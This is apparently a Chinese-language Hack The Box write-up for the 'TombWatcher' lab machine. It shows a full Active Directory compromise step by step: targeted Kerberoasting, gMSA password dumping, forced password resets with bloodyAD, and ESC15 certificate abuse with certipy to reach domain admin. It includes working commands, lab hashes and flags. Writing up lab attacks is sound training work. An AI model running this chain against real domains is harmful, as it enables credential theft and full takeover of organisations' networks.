Season8 - TombWatcher

https://app.hackthebox.com/machines/TombWatcher | Windows | Medium

Machine Information：As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!

Recon

端口扫描

nmap 端口扫描

➜  TombWatcher nmap -sT -min-rate 5000 10.10.11.72  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-08 12:01 CST
Nmap scan report for 10.10.11.72
Host is up (0.059s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds

➜  TombWatcher nmap -sT -A -p 53,80,88,135,139,389,445,464,5985 10.10.11.72                                       
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-08 12:03 CST                                                   
Nmap scan report for 10.10.11.72                         
Host is up (0.10s latency).    
                                                         
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0    
|_http-server-header: Microsoft-IIS/10.0                                                                          
| http-methods:                                                                                                   
|_  Potentially risky methods: TRACE            
|_http-title: IIS Windows Server    
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-08 07:41:39Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
|_ssl-date: 2025-06-08T07:42:31+00:00; +3h38m21s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-06-08T07:41:51
|_  start_date: N/A
|_clock-skew: mean: 3h38m20s, deviation: 0s, median: 3h38m20s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   85.41 ms  10.10.16.1
2   128.13 ms 10.10.11.72

访问HTTP，是默认页

扫描了一波，没什么东西，重点应该不在这，因为给了凭据

凭据测试 & 服务枚举

使用 nxc 对凭据进行测试

➜  TombWatcher nxc smb 10.10.11.72 -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb
SMB         10.10.11.72     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.72     445    DC01             [+] tombwatcher.htb\henry:H3nry_987TGV!
➜  TombWatcher nxc ldap 10.10.11.72 -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb
LDAP        10.10.11.72     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
LDAP        10.10.11.72     389    DC01             [+] tombwatcher.htb\henry:H3nry_987TGV!
➜  TombWatcher nxc wmi 10.10.11.72 -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb
RPC         10.10.11.72     135    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
RPC         10.10.11.72     135    DC01             [+] tombwatcher.htb\henry:H3nry_987TGV!
➜  TombWatcher nxc winrm 10.10.11.72 -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb
WINRM       10.10.11.72     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb)
WINRM       10.10.11.72     5985   DC01             [-] tombwatcher.htb\henry:H3nry_987TGV!

➜  TombWatcher wmiexec.py tombwatcher.htb/henry:'H3nry_987TGV!'@10.10.11.72 -dc-ip 10.10.11.72
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] SMBv3.0 dialect used
[-] WMI Session Error: code: 0x80041003 - WBEM_E_ACCESS_DENIED

SMB 也是没什么信息

➜  TombWatcher smbclient -L 10.10.11.72 -U tombwatcher.htb/henry%'H3nry_987TGV!'

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.72 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

域分析 - 1

➜  TombWatcher bloodhound-python -u henry -p 'H3nry_987TGV!' -d 'tombwatcher.htb' -ns 10.10.11.72 --zip -c All -dc 'DC01.tombwatcher.htb' --dns-tcp
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: tombwatcher.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.tombwatcher.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC01.tombwatcher.htb
INFO: Found 12 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.tombwatcher.htb
INFO: Done in 00M 12S
INFO: Compressing output into 20250608163651_bloodhound.zip

henry 所属组权限

对Alfred有writeSPN权限

我们再看一下 Alfred 的权限

继续跟进INFRASTRUCTURE 组，能够读取机器ANSIBLE_DEV的GMSA密码

然后 ANSIBLE_DEV 能够更改 SAM 用户密码

并且 SAM 用户对 JOHN用户拥有 genericAll

用户John的权限，是远程管理组的成员

域渗透

Kerberoasting

https://www.thehacker.recipes/ad/movement/dacl/targeted-kerberoasting

攻击者可以将 SPN （ServicePrincipalName）添加到该帐户。一旦账户拥有 SPN，它就容易受到 Kerberoast 的攻击。这种技术称为 Targeted Kerberoasting

工具链接：https://github.com/ShutdownRepo/targetedKerberoast

➜  targetedKerberoast python targetedKerberoast.py -v -d tombwatcher.htb --dc-ip 10.10.11.72 -u henry -p 'H3nry_987TGV!'

使用hashcat进行爆破

➜  targetedKerberoast hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt

得到密码 basketball

ReadGMSAPassword

测试alfred的凭据

➜  TombWatcher nxc smb 10.10.11.72 -u alfred -p 'basketball' -d tombwatcher.htb
SMB         10.10.11.72     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.72     445    DC01             [+] tombwatcher.htb\alfred:basketball

上边分析域的时候能知道alfred用户可以读取ANSIBLE_DEV 计算机的GMSA密码

工具：https://github.com/micahvandeusen/gMSADumper

➜  gMSADumper python gMSADumper.py -u alfred -p basketball -d tombwatcher.htb
Users or groups who can read password for ansible_dev$:
 > Infrastructure
ansible_dev$:::1c37d00093dc2a5f25176bf2d474afdc
ansible_dev$:aes256-cts-hmac-sha1-96:526688ad2b7ead7566b70184c518ef665cc4c0215a1d634ef5f5bcda6543b5b3
ansible_dev$:aes128-cts-hmac-sha1-96:91366223f82cd8d39b0e767f0061fd9a

测试ansible_dev$的凭据

➜  TombWatcher nxc smb 10.10.11.72 -u 'ansible_dev$' -H '1c37d00093dc2a5f25176bf2d474afdc' -d tombwatcher.htb   
SMB         10.10.11.72     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.72     445    DC01             [+] tombwatcher.htb\ansible_dev$:1c37d00093dc2a5f25176bf2d474afdc

To John

ansible_dev$ 拥有更改 SAM用户密码的权限

➜  TombWatcher bloodyAD -d tombwatcher.htb -u 'ansible_dev$' -p ':1c37d00093dc2a5f25176bf2d474afdc' --dc-ip 10.10.11.72 set password SAM 'Password123!'
[+] Password changed successfully!

测试 SAM 凭据

➜  TombWatcher nxc smb 10.10.11.72 -u 'SAM' -p 'Password123!' -d tombwatcher.htb
SMB         10.10.11.72     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.72     445    DC01             [+] tombwatcher.htb\SAM:Password123!

我们再通过SAM用户修改John用户的密码

➜  TombWatcher bloodyAD -d tombwatcher.htb -u 'SAM' -p 'Password123!' --dc-ip 10.10.11.72 set owner john sam
[!] S-1-5-21-1392491010-1358638721-2126982587-1105 is already the owner, no modification will be made

➜  TombWatcher bloodyAD -d tombwatcher.htb -u 'SAM' -p 'Password123!' --dc-ip 10.10.11.72 add genericAll john sam
[+] sam has now GenericAll on john

➜  TombWatcher bloodyAD -d tombwatcher.htb -u 'SAM' -p 'Password123!' --dc-ip 10.10.11.72 set password JOHN 'Password123!'
[+] Password changed successfully!

使用 evil-winrm 进行登录

➜  TombWatcher evil-winrm -i 10.10.11.72 -u 'JOHn' -p 'Password123!'                
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\john\Documents>

能读取 user.txt

*Evil-WinRM* PS C:\Users\john\Desktop> type user.txt
3941928223b1baf7d3a3b94a3953d597

域分析 - 2

拿到 John 用户后，我们再进行分析一次，寻找获得Root的路径

John 的权限

这名字带CERT，修改CERT_ADMIN密码，并用其尝试使用 certipy 枚举漏洞

➜  TombWatcher bloodyAD -d tombwatcher.htb -u 'JOHN' -p 'Password123!' --dc-ip 10.10.11.72 set password CERT_ADMIN 'Password123!'
[+] Password changed successfully!

➜  TombWatcher certipy-ad find -u 'CERT_ADMIN' -p 'Password123!' -dc-ip 10.10.11.72 -vulnerable
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20250608182737_Certipy.txt'
[*] Wrote text output to '20250608182737_Certipy.txt'
[*] Saving JSON output to '20250608182737_Certipy.json'
[*] Wrote JSON output to '20250608182737_Certipy.json'

检测到 ESC15

➜  TombWatcher cat 20250608182737_Certipy.txt  
Certificate Authorities                    
  0                                        
    CA Name                             : tombwatcher-CA-1
    DNS Name                            : DC01.tombwatcher.htb
    Certificate Subject                 : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb
    Certificate Serial Number           : 3428A7FC52C310B2460F8440AA8327AC
    Certificate Validity Start          : 2024-11-16 00:47:48+00:00
    Certificate Validity End            : 2123-11-16 00:57:48+00:00
    Web Enrollment          
      HTTP                                                                                                        
        Enabled                         : False                                                                   
      HTTPS                                                                                                       
        Enabled                         : False
    User Specified SAN                  : Disabled                                                                
    Request Disposition                 : Issue                                                                   
    Enforce Encryption for Requests     : Enabled                                                                 
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions                                                                                                   
      Owner                             : TOMBWATCHER.HTB\Administrators
      Access Rights                                                                                               
        ManageCa                        : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins    
                                          TOMBWATCHER.HTB\Enterprise Admins
        ManageCertificates              : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins                 
        Enroll                          : TOMBWATCHER.HTB\Authenticated Users      
Certificate Templates
  0
    Template Name                       : WebServer
    Display Name                        : Web Server
    Certificate Authorities             : tombwatcher-CA-1
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-16T00:57:49+00:00
    Template Last Modified              : 2024-11-16T17:07:26+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
      Object Control Permissions
        Owner                           : TOMBWATCHER.HTB\Enterprise Admins
        Full Control Principals         : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Owner Principals          : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Dacl Principals           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Property Enroll           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
    [+] User Enrollable Principals      : TOMBWATCHER.HTB\cert_admin
    [!] Vulnerabilities
      ESC15                             : Enrollee supplies subject and schema version is 1.
    [*] Remarks
      ESC15                             : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.

ESC 15

https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu

➜  TombWatcher certipy-ad req \
    -u 'CERT_ADMIN' -p 'Password123!' \
    -dc-ip '10.10.11.72' -target 'DC01.tombwatcher.htb' \
    -ca 'tombwatcher-CA-1' -template 'WebServer' \
    -upn 'administrator@tombwatcher.htb' \
    -application-policies 'Client Authentication'
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 33
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

➜  TombWatcher certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.72 -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@tombwatcher.htb'
[*] Connecting to 'ldaps://10.10.11.72:636'
[*] Authenticated to '10.10.11.72' as: 'u:TOMBWATCHER\\Administrator'
Type help for list of commands

# whoami
u:TOMBWATCHER\Administrator

我直接把 henry 加入管理员组和远程组

# add_user_to_group henry "Domain Admins"
Adding user: Henry to group Domain Admins result: OK

# add_user_to_group henry "REMOTE MANAGEMENT USERS"
Adding user: Henry to group Remote Management Users result: OK

使用 evil-winrm 登录并读取 root.txt

*Evil-WinRM* PS C:\Users\administrator\desktop> type root.txt
6d2352d2fcafb6b19e95e737b046864c

总结

一波下来直接梭哈，这次没有卡住的地方

但是我打完后发现，我BloodHound收集信息的时候，机器已经是被人修改过的了

正常来说我是不能直接在BloodHound中发现CERT_ADMIN用户的，因为它是已经被删除的用户，我需要对其进行恢复，再进行后续操作

# Enum isDeleted ADObject
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects

# 恢复账号
Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
# 激活账号
Enable-ADAccount -Identity cert_admin

然后才可以是用BloodAD进行修改密码，这里相当于给我降难度了

(Get-Acl "AD:CN=john,CN=Users,DC=tombwatcher,DC=htb").Access

HackTheBox - Machine - TombWatcher